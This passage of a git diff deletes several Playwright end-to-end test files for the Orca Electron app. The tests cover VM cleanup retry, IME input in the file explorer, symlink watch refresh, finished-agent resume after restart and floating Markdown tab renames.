repoId: 'repo-1', - workspaceName: 'Interrupted cleanup', - status: 'cleaned', - cleanupStatus: 'succeeded', - connectionMode: 'ssh', - sshTargetId: 'runtime-ssh-cleanup-retry', - createdAt: 1, - updatedAt: 1, - recipeResult: { - schemaVersion: 1, - connection: { - type: 'ssh', - projectRoot: '/workspace/repo', - target: { - label: 'Cloud VM', - host: 'vm.example.com', - port: 22, - username: 'developer' - } - } - } - } - ] - }) - ) - - await orcaPage.evaluate(() => { - const state = window.__store!.getState() - state.openSettingsTarget({ pane: 'servers', repoId: null }) - state.openSettingsPage() - }) - await expect(orcaPage.getByPlaceholder('Search settings')).toBeVisible() - - const runtimes = orcaPage.locator('[data-settings-section="temporary-vm-runtimes"]') - await expect(runtimes.getByText('Interrupted cleanup')).toBeVisible() - await expect(runtimes.getByText('Cleanup failed')).toBeVisible() - await expect(runtimes.getByRole('button', { name: 'Retry cleanup' })).toBeVisible() -}) - -test('stops long-running cleanup and keeps it retryable', async ({ electronApp, orcaPage }) => { - const repoPath = mkdtempSync(path.join(tmpdir(), 'orca-cleanup-stop-')) - const destroyPath = path.join(repoPath, 'destroy.js') - const destroyStartedPath = path.join(repoPath, 'destroy-started.txt') - try { - writeFileSync( - destroyPath, - `require('fs').writeFileSync(${JSON.stringify(destroyStartedPath)}, 'yes'); setInterval(() => {}, 1000)` - ) - execFileSync('git', ['init'], { cwd: repoPath }) - execFileSync('git', ['config', 'user.email', 'e2e@test.local'], { cwd: repoPath }) - execFileSync('git', ['config', 'user.name', 'Orca E2E'], { cwd: repoPath }) - writeFileSync(path.join(repoPath, 'README.md'), 'cleanup stop fixture\n') - execFileSync('git', ['add', '.'], { cwd: repoPath }) - execFileSync('git', ['commit', '-m', 'seed'], { cwd: repoPath }) - - const repoId = await orcaPage.evaluate(async (repo) => { - const result = await window.api.repos.add({ path: repo }) - if ('error' in result) { - throw new Error(result.error) - } - return result.repo.id - }, repoPath) - const userDataPath = await electronApp.evaluate(({ app }) => app.getPath('userData')) - writeFileSync( - path.join(userDataPath, 'orca-ephemeral-vm-runtimes.json'), - JSON.stringify({ - version: 1, - runtimes: [ - { - id: 'runtime-cleanup-stop', - recipeId: 'cloud-sandbox', - recipe: { - id: 'cloud-sandbox', - name: 'Cloud Sandbox', - create: 'unused', - destroy: `${JSON.stringify(process.execPath)} ${JSON.stringify(destroyPath)}` - }, - repoId, - workspaceName: 'Long cleanup', - status: 'running', - cleanupStatus: 'not_started', - createdAt: 1, - updatedAt: 1, - recipeResult: { - schemaVersion: 1, - connection: { - type: 'ssh', - projectRoot: '/workspace/repo', - target: { - label: 'Cloud VM', - host: 'vm.example.com', - port: 22, - username: 'developer' - } - } - } - } - ] - }) - ) - - await openCloudVmRuntimes(orcaPage) - const runtimes = orcaPage.locator('[data-settings-section="temporary-vm-runtimes"]') - await expect(runtimes.getByText('Long cleanup')).toBeVisible() - await runtimes.getByRole('button', { name: 'Cleanup', exact: true }).click() - await expect(runtimes.getByRole('button', { name: 'Stop cleanup' })).toBeVisible() - await expect.poll(() => existsSync(destroyStartedPath)).toBe(true) - - await runtimes.getByRole('button', { name: 'Stop cleanup' }).click() - const dialog = orcaPage.getByRole('dialog', { name: 'Stop cleanup?' }) - await expect(dialog).toContainText('The VM may remain running and incur charges.') - await dialog.getByRole('button', { name: 'Stop cleanup' }).click() - - await expect(dialog).toBeHidden() - await expect(runtimes.getByText('Cleanup stopped', { exact: true })).toBeVisible() - await expect(runtimes.getByRole('button', { name: 'Retry cleanup' })).toBeVisible() - await expect(orcaPage.getByText('Cleanup stopped by user.')).toBeVisible() - - writeFileSync(destroyPath, "process.stdin.resume(); process.stdin.on('end', () => {})") - await runtimes.getByRole('button', { name: 'Retry cleanup' }).click() - await expect(runtimes.getByText('Long cleanup')).toBeHidden() - await expect - .poll(() => - orcaPage.evaluate(async () => { - const runtime = (await window.api.ephemeralVm.listRuntimes()).find( - (entry) => entry.id === 'runtime-cleanup-stop' - ) - return runtime?.cleanupStatus - }) - ) - .toBe('succeeded') - } finally { - rmSync(repoPath, { recursive: true, force: true }) - } -}) - -async function openCloudVmRuntimes(page: Page): Promise { - await page.evaluate(() => { - const state = window.__store!.getState() - state.openSettingsTarget({ pane: 'servers', repoId: null }) - state.openSettingsPage() - }) - await expect(page.getByPlaceholder('Search settings')).toBeVisible() - // Why no click: the Cloud VMs card lists its runtimes on the servers page itself. - await expect(page.locator('[data-settings-section="temporary-vm-runtimes"]')).toBeVisible() -} diff --git a/tests/e2e/file-explorer-ime-enter.spec.ts b/tests/e2e/file-explorer-ime-enter.spec.ts deleted file mode 100644 index 3bd275461cb..00000000000 --- a/tests/e2e/file-explorer-ime-enter.spec.ts +++ /dev/null @@ -1,112 +0,0 @@ -import { mkdtemp, rm, stat, writeFile } from 'node:fs/promises' -import os from 'node:os' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' - -test.use({ seedTestRepo: false }) - -const cases = (['New File', 'New Folder', 'Rename'] as const).flatMap((operation) => - [false, true].map((redispatch) => ({ operation, redispatch })) -) - -for (const { operation, redispatch } of cases) { - test(`IME confirmation keeps File Explorer ${operation} open (${redispatch ? 'redispatch' : 'continued typing'})`, async ({ - orcaPage: page, - registerPostElectronShutdownCleanup - }) => { - const folder = await mkdtemp(path.join(os.tmpdir(), 'orca-ime-names-')) - registerPostElectronShutdownCleanup(() => rm(folder, { recursive: true, force: true })) - await writeFile(path.join(folder, 'original.md'), 'Keep this content\n') - await page.evaluate(async (folder) => { - await window.__store!.getState().addRepoPath(folder, 'folder') - }, folder) - await page - .getByRole('option') - .filter({ hasText: path.basename(folder) }) - .click() - const explorer = page.locator('[data-orca-explorer-shell]') - await explorer - .getByRole('button', { name: 'original.md', exact: true }) - .click({ button: 'right' }) - await page.getByRole('menuitem', { name: operation, exact: operation !== 'Rename' }).click() - const input = explorer.locator('input.border-ring') - await expect(input).toBeFocused() - await input.fill('') - const cdp = await page.context().newCDPSession(page) - await cdp.send('Input.imeSetComposition', { - text: 'ぎじろく', - selectionStart: 4, - selectionEnd: 4 - }) - await cdp.send('Input.imeSetComposition', { - text: '議事録', - selectionStart: 3, - selectionEnd: 3 - }) - await cdp.send('Input.dispatchKeyEvent', { - type: 'keyDown', - key: redispatch ? 'Process' : 'Enter', - code: 'Enter', - windowsVirtualKeyCode: 229, - nativeVirtualKeyCode: 229 - }) - await cdp.send('Input.insertText', { text: '議事録' }) - if (redispatch) { - await input.evaluate((element) => { - const redispatchAfterRelease = (event: KeyboardEvent): void => { - if (event.target !== element || event.key !== 'Process' || event.keyCode !== 229) { - return - } - document.removeEventListener('keyup', redispatchAfterRelease) - const confirmation = new KeyboardEvent('keydown', { - bubbles: true, - cancelable: true, - key: 'Enter', - code: 'Enter', - keyCode: 13 - }) - element.setAttribute( - 'data-ime-redispatch-cancelled', - String(!element.dispatchEvent(confirmation)) - ) - } - // Run after React's keyup handler, before a frame can separate two CDP messages. - document.addEventListener('keyup', redispatchAfterRelease) - }) - } - await cdp.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: redispatch ? 'Process' : 'Enter', - code: 'Enter', - windowsVirtualKeyCode: redispatch ? 229 : 13, - nativeVirtualKeyCode: redispatch ? 229 : 13 - }) - if (redispatch) { - await expect(input).toHaveAttribute('data-ime-redispatch-cancelled', 'true') - await cdp.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: 'Enter', - code: 'Enter', - windowsVirtualKeyCode: 13, - nativeVirtualKeyCode: 13 - }) - } - await expect(input).toBeVisible() - await expect(input).toHaveValue('議事録') - await expect(explorer.getByRole('button', { name: '議事録', exact: true })).toHaveCount(0) - const suffix = redispatch ? '' : operation === 'New Folder' ? '-完成' : '.md' - if (suffix) { - await input.press('End') - await input.pressSequentially(suffix) - } - await input.press('Enter') - await expect(input).toHaveCount(0) - await expect( - explorer.getByRole('button', { name: `議事録${suffix}`, exact: true }) - ).toBeVisible() - expect((await stat(path.join(folder, `議事録${suffix}`))).isDirectory()).toBe( - operation === 'New Folder' - ) - await cdp.detach() - }) -} diff --git a/tests/e2e/file-explorer-linked-watch-refresh.spec.ts b/tests/e2e/file-explorer-linked-watch-refresh.spec.ts deleted file mode 100644 index 0a5e2a3779d..00000000000 --- a/tests/e2e/file-explorer-linked-watch-refresh.spec.ts +++ /dev/null @@ -1,89 +0,0 @@ -import { mkdir, rename, rm, symlink, writeFile } from 'node:fs/promises' -import path from 'node:path' -import { expect, test as base } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const test = base.extend({ - orcaAppExtraEnv: async ({ testRepoPath }, provideEnv) => { - const target = path.join(testRepoPath, 'linked-watch-target') - const replacement = path.join(testRepoPath, 'linked-watch-replacement') - const alias = path.join(testRepoPath, 'linked-watch-alias') - const linkType = process.platform === 'win32' ? 'junction' : 'dir' - // Seed before the native watcher crawls so this exercises linked-cache refresh. - await mkdir(path.join(target, 'nested'), { recursive: true }) - await mkdir(path.join(replacement, 'nested'), { recursive: true }) - await writeFile(path.join(target, 'nested', 'old-linked.txt'), 'original') - await writeFile(path.join(replacement, 'nested', 'replacement-linked.txt'), 'replacement') - await symlink(target, alias, linkType) - try { - await provideEnv({}) - } finally { - await rm(alias, { force: true }) - await rm(target, { recursive: true, force: true }) - await rm(replacement, { recursive: true, force: true }) - } - } -}) - -test('refreshes followed directory links after target changes and retargeting', async ({ - orcaPage, - testRepoPath -}) => { - const target = path.join(testRepoPath, 'linked-watch-target') - const replacement = path.join(testRepoPath, 'linked-watch-replacement') - const alias = path.join(testRepoPath, 'linked-watch-alias') - const linkType = process.platform === 'win32' ? 'junction' : 'dir' - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await orcaPage.evaluate(async () => { - const store = window.__store - if (!store) { - throw new Error('window.__store is unavailable') - } - await store.getState().updateSettings({ followSymlinkedDirectories: true }) - }) - const row = (name: string) => - orcaPage.locator('[data-file-explorer-row]').filter({ - has: orcaPage.getByText(name, { exact: true }) - }) - await expect(row('linked-watch-alias')).toBeVisible() - await row('linked-watch-alias').click() - await row('nested').click() - await expect(row('old-linked.txt')).toBeVisible() - - // Only the alias is expanded; the watcher names its unexpanded target. - await writeFile(path.join(target, 'nested', 'fresh-linked.txt'), 'created') - await expect(row('fresh-linked.txt')).toBeVisible() - await rename( - path.join(target, 'nested', 'old-linked.txt'), - path.join(target, 'nested', 'renamed-linked.txt') - ) - await expect(row('renamed-linked.txt')).toBeVisible() - await expect(row('old-linked.txt')).toHaveCount(0) - await rm(path.join(target, 'nested', 'fresh-linked.txt')) - await expect(row('fresh-linked.txt')).toHaveCount(0) - - await row('nested').click() - await writeFile(path.join(target, 'nested', 'collapsed-linked.txt'), 'while collapsed') - await orcaPage.waitForTimeout(500) - await row('nested').click() - await expect(row('collapsed-linked.txt')).toBeVisible() - - await rm(alias) - await symlink(replacement, alias, linkType) - await expect(row('renamed-linked.txt')).toHaveCount(0) - // Some hosts report delete/create and collapse the link; reopen only if needed. - if ((await row('nested').count()) === 0) { - await row('linked-watch-alias').click() - } - if ((await row('replacement-linked.txt').count()) === 0) { - await row('nested').click() - } - await expect(row('replacement-linked.txt')).toBeVisible() - - await rm(replacement, { recursive: true }) - await expect(row('replacement-linked.txt')).toHaveCount(0) - await mkdir(path.join(replacement, 'nested'), { recursive: true }) - await writeFile(path.join(replacement, 'nested', 'restored-linked.txt'), 'restored target') - await expect(row('restored-linked.txt')).toBeVisible() -}) diff --git a/tests/e2e/file-explorer-watch-refresh.spec.ts b/tests/e2e/file-explorer-watch-refresh.spec.ts deleted file mode 100644 index 85fbd66409e..00000000000 --- a/tests/e2e/file-explorer-watch-refresh.spec.ts +++ /dev/null @@ -1,59 +0,0 @@ -import { renameSync, rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import { test, expect } from './helpers/orca-app' -import { openFileExplorer } from './helpers/file-explorer' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -test('refreshes the visible tree after external Windows file changes', async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await orcaPage.evaluate(() => window.__store?.getState().setRightSidebarOpen(false)) - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().rightSidebarOpen)) - .toBe(false) - await openFileExplorer(orcaPage) - - const worktreePath = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - if (!state || !worktreeId) { - throw new Error('active worktree unavailable') - } - const worktree = Object.values(state.worktreesByRepo) - .flat() - .find((candidate) => candidate.id === worktreeId) - if (!worktree) { - throw new Error('active worktree path unavailable') - } - return worktree.path - }) - - const originalName = 'watch-refresh-case.txt' - const renamedName = 'WATCH-REFRESH-CASE.txt' - const originalPath = path.join(worktreePath, originalName) - const renamedPath = path.join(worktreePath, renamedName) - const row = (name: string) => - orcaPage - .locator('[data-file-explorer-row]') - .filter({ has: orcaPage.getByText(name, { exact: true }) }) - - rmSync(originalPath, { force: true }) - rmSync(renamedPath, { force: true }) - try { - await expect(row('README.md')).toBeVisible({ timeout: 10_000 }) - await orcaPage.waitForTimeout(2_000) - - writeFileSync(originalPath, 'created outside Orca\n') - await expect(row(originalName)).toBeVisible({ timeout: 10_000 }) - - renameSync(originalPath, renamedPath) - await expect(row(renamedName)).toBeVisible({ timeout: 10_000 }) - await expect(row(originalName)).toHaveCount(0, { timeout: 10_000 }) - - rmSync(renamedPath) - await expect(row(renamedName)).toHaveCount(0, { timeout: 10_000 }) - } finally { - rmSync(originalPath, { force: true }) - rmSync(renamedPath, { force: true }) - } -}) diff --git a/tests/e2e/finished-agent-ghost-resume.spec.ts b/tests/e2e/finished-agent-ghost-resume.spec.ts deleted file mode 100644 index 41c8f26d130..00000000000 --- a/tests/e2e/finished-agent-ghost-resume.spec.ts +++ /dev/null @@ -1,187 +0,0 @@ -import { - readPersistedProfileState, - mutateStoppedProfileState -} from './helpers/persisted-profile-state' -// Keep finished local agents from respawning after pane retirement and app restart; retained resume identity must not restate done as working. -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { - execInTerminal, - waitForActivePaneHookDescriptor, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForPaneCount, - waitForTerminalOutput -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { createHostRendererTerminalTab } from './helpers/host-created-terminal-retention-oracle' - -const PROVIDER_SESSION_ID = 'e2e-finished-agent-session' - -type PersistedRecord = { - state?: unknown - origin?: unknown - providerSession?: { id?: unknown } - launchConfig?: { agentCommand?: string; agentArgs?: string; agentEnv?: Record } -} - -function readPersistedRecords(userDataDir: string): Record { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture; optional fields are checked at use sites. - const data = readPersistedProfileState(userDataDir) as { - workspaceSession?: { sleepingAgentSessionsByPaneKey?: Record } - } - return data.workspaceSession?.sleepingAgentSessionsByPaneKey ?? {} -} - -/** Make the resume hermetic: the respawned tab echoes instead of running codex. */ -function stubPersistedResumeCommand(userDataDir: string): PersistedRecord { - return mutateStoppedProfileState(userDataDir, (state) => { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture; optional fields are checked at use sites. - const data = state as { - workspaceSession?: { sleepingAgentSessionsByPaneKey?: Record } - } - const record = Object.values(data.workspaceSession?.sleepingAgentSessionsByPaneKey ?? {}).find( - (candidate) => candidate.providerSession?.id === PROVIDER_SESSION_ID - ) - if (!record) { - throw new Error('Expected the finished agent turn to leave a persisted record') - } - record.launchConfig = { agentCommand: 'echo', agentArgs: '', agentEnv: {} } - return record - }) -} - -test.describe.configure({ mode: 'serial' }) - -test('does not respawn an agent whose turn already finished', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const page = await firstApp.firstWindow() - const worktreeId = await attachRepoAndOpenTerminal(page, repoPath) - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneCount(page, 1, 30_000) - - const marker = `FINISHED_AGENT_${Date.now()}` - const descriptor = await waitForActivePaneHookDescriptor(page) - const ptyId = await waitForActivePanePtyId(page) - const transcriptPath = session.seedCodexResumeRollout(PROVIDER_SESSION_ID, repoPath) - await execInTerminal(page, ptyId, `echo ${marker}`) - await waitForTerminalOutput(page, marker) - - await page.evaluate( - ({ paneKey, worktreeId: wtId, providerSessionId, transcriptPath }) => { - window.__store - ?.getState() - .setAgentStatus( - paneKey, - { state: 'done', prompt: 'review the diff', agentType: 'codex' }, - 'Codex', - undefined, - { worktreeId: wtId }, - { providerSession: { key: 'session_id', id: providerSessionId, transcriptPath } } - ) - }, - { - paneKey: descriptor.paneKey, - worktreeId: descriptor.worktreeId, - providerSessionId: PROVIDER_SESSION_ID, - transcriptPath - } - ) - - const liveRecord = await page.evaluate((paneKey) => { - const record = window.__store?.getState().sleepingAgentSessionsByPaneKey[paneKey] - return record ? { state: record.state, origin: record.origin } : null - }, descriptor.paneKey) - expect(liveRecord, 'a finished turn leaves a resume record').not.toBeNull() - expect(liveRecord?.state, 'the done turn stays done').toBe('done') - expect(liveRecord?.origin).toBe('live') - - // Keep another terminal because empty workspaces do not reactivate on relaunch. - const survivingTabId = await createHostRendererTerminalTab(page, worktreeId) - - // Use PTY-exit close to retire the pane while retaining its resume record. - const tabId = await page.evaluate( - (wtId) => (window.__store?.getState().tabsByWorktree[wtId] ?? [])[0]?.id ?? null, - worktreeId - ) - expect(tabId, 'the agent pane must have a tab to close').not.toBeNull() - expect(tabId).not.toBe(survivingTabId) - await page.evaluate( - (id) => window.__store?.getState().closeTab(id, { reason: 'pty-exit' }), - tabId! - ) - await expect - .poll( - async () => - page.evaluate( - (wtId) => (window.__store?.getState().tabsByWorktree[wtId] ?? []).map((tab) => tab.id), - worktreeId - ), - { timeout: 15_000, message: 'the pty-exit close never removed the agent tab' } - ) - .toEqual([survivingTabId]) - - await session.close(firstApp) - firstApp = null - - const persisted = readPersistedRecords(session.userDataDir) - const survivor = Object.values(persisted).find( - (candidate) => candidate.providerSession?.id === PROVIDER_SESSION_ID - ) - expect(survivor, 'killing the pane left the resume record behind').toBeDefined() - stubPersistedResumeCommand(session.userDataDir) - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await waitForSessionReady(secondLaunch.page) - await expect - .poll( - async () => secondLaunch.page.evaluate(() => window.__store?.getState().activeWorktreeId), - { timeout: 15_000 } - ) - .toBe(worktreeId) - await ensureTerminalVisible(secondLaunch.page) - - const respawned = await secondLaunch.page.evaluate((wtId) => { - const state = window.__store?.getState() - const tabs = state?.tabsByWorktree[wtId] ?? [] - return tabs.map((tab) => ({ - id: tab.id, - launchAgent: tab.launchAgent ?? null, - startup: state?.pendingStartupByTabId[tab.id]?.command ?? null, - banner: state?.pendingStartupByTabId[tab.id]?.showSessionRestoredBanner ?? false - })) - }, worktreeId) - const resumeTabs = respawned.filter( - (tab) => tab.launchAgent === 'codex' || tab.startup?.includes(PROVIDER_SESSION_ID) - ) - expect(resumeTabs, `a finished agent was respawned: ${JSON.stringify(respawned)}`).toEqual([]) - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } -}) diff --git a/tests/e2e/floating-tab-rename.spec.ts b/tests/e2e/floating-tab-rename.spec.ts deleted file mode 100644 index d357f29ff51..00000000000 --- a/tests/e2e/floating-tab-rename.spec.ts +++ /dev/null @@ -1,301 +0,0 @@ -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' - -// Mirror FLOATING_TERMINAL_WORKTREE_ID without loading renderer/shared modules into Playwright. -const FLOATING_WORKTREE_ID = 'global-floating-terminal' -const OPEN_PANEL_SELECTOR = '[data-floating-terminal-panel][aria-hidden="false"]' -const PANEL_SELECTOR = '[data-floating-terminal-panel]' - -async function seedFloatingMarkdownFile(page: Page): Promise<{ - originalName: string - originalPath: string - intermediateName: string - intermediatePath: string - renamedName: string - renamedPath: string - tabId: string -}> { - const directory = await page.evaluate(() => window.api.app.getFloatingMarkdownDirectory()) - const suffix = Date.now().toString(36) - const originalName = `floating-rename-${suffix}.md` - const intermediateName = `floating-entered-${suffix}.md` - const renamedName = `floating-renamed-${suffix}.md` - const originalPath = path.join(directory, originalName) - const intermediatePath = path.join(directory, intermediateName) - const renamedPath = path.join(directory, renamedName) - const tabId = await page.evaluate( - async ({ filePath, originalName, worktreeId }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - - await store.getState().updateSettings({ floatingTerminalEnabled: true }) - await window.api.fs.createFile({ filePath }) - await window.api.fs.writeFile({ filePath, content: '# Floating rename\n' }) - store.getState().openFile( - { - filePath, - relativePath: originalName, - worktreeId, - language: 'markdown', - mode: 'edit', - runtimeEnvironmentId: null - }, - { preview: false, suppressActiveRuntimeFallback: true } - ) - - const state = store.getState() - const file = state.openFiles.find( - (candidate) => candidate.filePath === filePath && candidate.worktreeId === worktreeId - ) - const tab = state.unifiedTabsByWorktree[worktreeId]?.find( - (candidate) => candidate.contentType === 'editor' && candidate.entityId === file?.id - ) - if (!file || !tab) { - throw new Error('Floating Markdown tab unavailable') - } - return tab.id - }, - { filePath: originalPath, originalName, worktreeId: FLOATING_WORKTREE_ID } - ) - return { - originalName, - originalPath, - intermediateName, - intermediatePath, - renamedName, - renamedPath, - tabId - } -} - -async function openFloatingPanel(page: Page): Promise { - await page.waitForFunction( - (selector) => Boolean(document.querySelector(selector)), - PANEL_SELECTOR, - { timeout: 30_000 } - ) - // The panel’s open state persists; a blind toggle after restart would close it. - const alreadyOpen = await page.evaluate( - (selector) => Boolean(document.querySelector(selector)), - OPEN_PANEL_SELECTOR - ) - if (!alreadyOpen) { - await page.evaluate(() => window.dispatchEvent(new Event('orca-toggle-floating-terminal'))) - } - await expect(page.locator(OPEN_PANEL_SELECTOR)).toBeVisible() -} - -test('concurrent floating Markdown renames do not clobber the destination', async ({ - orcaPage -}) => { - const directory = await orcaPage.evaluate(() => window.api.app.getFloatingMarkdownDirectory()) - const suffix = Date.now().toString(36) - const firstPath = path.join(directory, `floating-first-${suffix}.md`) - const secondPath = path.join(directory, `floating-second-${suffix}.md`) - const destinationPath = path.join(directory, `floating-destination-${suffix}.md`) - - const result = await orcaPage.evaluate( - async ({ firstPath, secondPath, destinationPath }) => { - await window.api.fs.createFile({ filePath: firstPath }) - await window.api.fs.createFile({ filePath: secondPath }) - await window.api.fs.writeFile({ filePath: firstPath, content: 'first\n' }) - await window.api.fs.writeFile({ filePath: secondPath, content: 'second\n' }) - - const settled = await Promise.allSettled([ - window.api.fs.rename({ oldPath: firstPath, newPath: destinationPath }), - window.api.fs.rename({ oldPath: secondPath, newPath: destinationPath }) - ]) - const firstExists = await window.api.fs.pathExists({ filePath: firstPath }) - const secondExists = await window.api.fs.pathExists({ filePath: secondPath }) - return { - statuses: settled.map(({ status }) => status).sort(), - rejectionMessages: settled.flatMap((outcome) => - outcome.status === 'rejected' ? [String(outcome.reason)] : [] - ), - destinationContent: (await window.api.fs.readFile({ filePath: destinationPath })).content, - firstExists, - secondExists, - firstContent: firstExists - ? (await window.api.fs.readFile({ filePath: firstPath })).content - : null, - secondContent: secondExists - ? (await window.api.fs.readFile({ filePath: secondPath })).content - : null - } - }, - { firstPath, secondPath, destinationPath } - ) - - expect(result.statuses).toEqual(['fulfilled', 'rejected']) - expect(result.rejectionMessages[0]).toContain('already exists') - expect(Number(result.firstExists) + Number(result.secondExists)).toBe(1) - expect( - [result.destinationContent, result.firstContent ?? result.secondContent].toSorted() - ).toEqual(['first\n', 'second\n']) -}) - -test('Electron serializes native Unicode rename aliases', async ({ orcaPage }) => { - test.skip(process.platform !== 'darwin', 'Requires native Unicode aliasing') - const directory = await orcaPage.evaluate(() => window.api.app.getFloatingMarkdownDirectory()) - const suffix = Date.now().toString(36) - const firstPath = path.join(directory, `floating-unicode-first-${suffix}.md`) - const secondPath = path.join(directory, `floating-unicode-second-${suffix}.md`) - const sharpSDestination = path.join(directory, `floating-destination-${suffix}-straße.md`) - const expandedDestination = path.join(directory, `floating-destination-${suffix}-STRASSE.MD`) - - const result = await orcaPage.evaluate( - async ({ firstPath, secondPath, sharpSDestination, expandedDestination }) => { - await window.api.fs.createFile({ filePath: firstPath }) - await window.api.fs.createFile({ filePath: secondPath }) - await window.api.fs.writeFile({ filePath: firstPath, content: 'first\n' }) - await window.api.fs.writeFile({ filePath: secondPath, content: 'second\n' }) - - const settled = await Promise.allSettled([ - window.api.fs.rename({ oldPath: firstPath, newPath: sharpSDestination }), - window.api.fs.rename({ oldPath: secondPath, newPath: expandedDestination }) - ]) - const firstExists = await window.api.fs.pathExists({ filePath: firstPath }) - const secondExists = await window.api.fs.pathExists({ filePath: secondPath }) - return { - statuses: settled.map(({ status }) => status).sort(), - destinationContent: (await window.api.fs.readFile({ filePath: sharpSDestination })).content, - firstExists, - secondExists, - remainingContent: firstExists - ? (await window.api.fs.readFile({ filePath: firstPath })).content - : (await window.api.fs.readFile({ filePath: secondPath })).content - } - }, - { firstPath, secondPath, sharpSDestination, expandedDestination } - ) - - expect(result.statuses).toEqual(['fulfilled', 'rejected']) - expect(Number(result.firstExists) + Number(result.secondExists)).toBe(1) - expect([result.destinationContent, result.remainingContent].toSorted()).toEqual([ - 'first\n', - 'second\n' - ]) -}) - -test('floating workspace Markdown renames survive an app restart', async (// oxlint-disable-next-line no-empty-pattern -- This persistence test owns both Electron launches. -{}, testInfo) => { - test.setTimeout(300_000) - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - - try { - const first = await session.launch() - firstApp = first.app - await waitForSessionReady(first.page) - const seeded = await seedFloatingMarkdownFile(first.page) - await openFloatingPanel(first.page) - - const panel = first.page.locator(OPEN_PANEL_SELECTOR) - const tab = panel.locator(`[data-tab-id="${seeded.tabId}"]`) - await expect(tab).toContainText(seeded.originalName) - await tab.click({ button: 'right' }) - const renameMenuItem = first.page.getByRole('menuitem').filter({ hasText: 'Rename' }).first() - await expect(renameMenuItem).toBeVisible() - await renameMenuItem.click() - - const enterInput = panel.getByRole('textbox', { - name: `Rename file ${seeded.originalName}`, - exact: true - }) - await enterInput.fill(seeded.intermediateName) - await enterInput.press('Enter') - await expect(tab).toContainText(seeded.intermediateName) - - await tab.getByText(seeded.intermediateName, { exact: true }).dispatchEvent('dblclick') - const blurInput = panel.getByRole('textbox', { - name: `Rename file ${seeded.intermediateName}`, - exact: true - }) - await blurInput.fill(seeded.renamedName) - await panel.getByRole('radio', { name: 'Rich Editor' }).click() - await expect(tab).toContainText(seeded.renamedName) - await expect - .poll(() => - first.page.evaluate( - async ({ renamedPath, originalPath, intermediatePath }) => ({ - content: (await window.api.fs.readFile({ filePath: renamedPath })).content, - originalExists: await window.api.fs.pathExists({ filePath: originalPath }), - intermediateExists: await window.api.fs.pathExists({ filePath: intermediatePath }) - }), - { - renamedPath: seeded.renamedPath, - originalPath: seeded.originalPath, - intermediatePath: seeded.intermediatePath - } - ) - ) - .toEqual({ - content: '# Floating rename\n', - originalExists: false, - intermediateExists: false - }) - - await session.close(firstApp) - firstApp = null - - const second = await session.launch() - secondApp = second.app - await waitForSessionReady(second.page) - await openFloatingPanel(second.page) - - const restoredPanel = second.page.locator(OPEN_PANEL_SELECTOR) - const restoredTab = restoredPanel.locator('[data-tab-id]').filter({ - hasText: seeded.renamedName - }) - await expect(restoredTab).toContainText(seeded.renamedName) - await expect - .poll(() => - second.page.evaluate( - async ({ renamedPath, originalPath, intermediatePath, worktreeId }) => { - const file = window.__store - ?.getState() - .openFiles.find( - (candidate) => - candidate.worktreeId === worktreeId && candidate.filePath === renamedPath - ) - return { - restoredPath: file?.filePath ?? null, - content: (await window.api.fs.readFile({ filePath: renamedPath })).content, - originalExists: await window.api.fs.pathExists({ filePath: originalPath }), - intermediateExists: await window.api.fs.pathExists({ filePath: intermediatePath }) - } - }, - { - renamedPath: seeded.renamedPath, - originalPath: seeded.originalPath, - intermediatePath: seeded.intermediatePath, - worktreeId: FLOATING_WORKTREE_ID - } - ) - ) - .toEqual({ - restoredPath: seeded.renamedPath, - content: '# Floating rename\n', - originalExists: false, - intermediateExists: false - }) - } finally { - for (const app of [secondApp, firstApp]) { - if (!app) { - continue - } - try { - await session.close(app) - } catch { - // best-effort cleanup - } - } - await session.dispose() - } -}) diff --git a/tests/e2e/floating-terminal-switch-reveal.spec.ts b/tests/e2e/floating-terminal-switch-reveal.spec.ts deleted file mode 100644 index f10a00a9304..00000000000 --- a/tests/e2e/floating-terminal-switch-reveal.spec.ts +++ /dev/null @@ -1,87 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -// Mirror FLOATING_TERMINAL_WORKTREE_ID without loading renderer/shared modules into Playwright. -const FLOATING_WORKTREE_ID = 'global-floating-terminal' -const 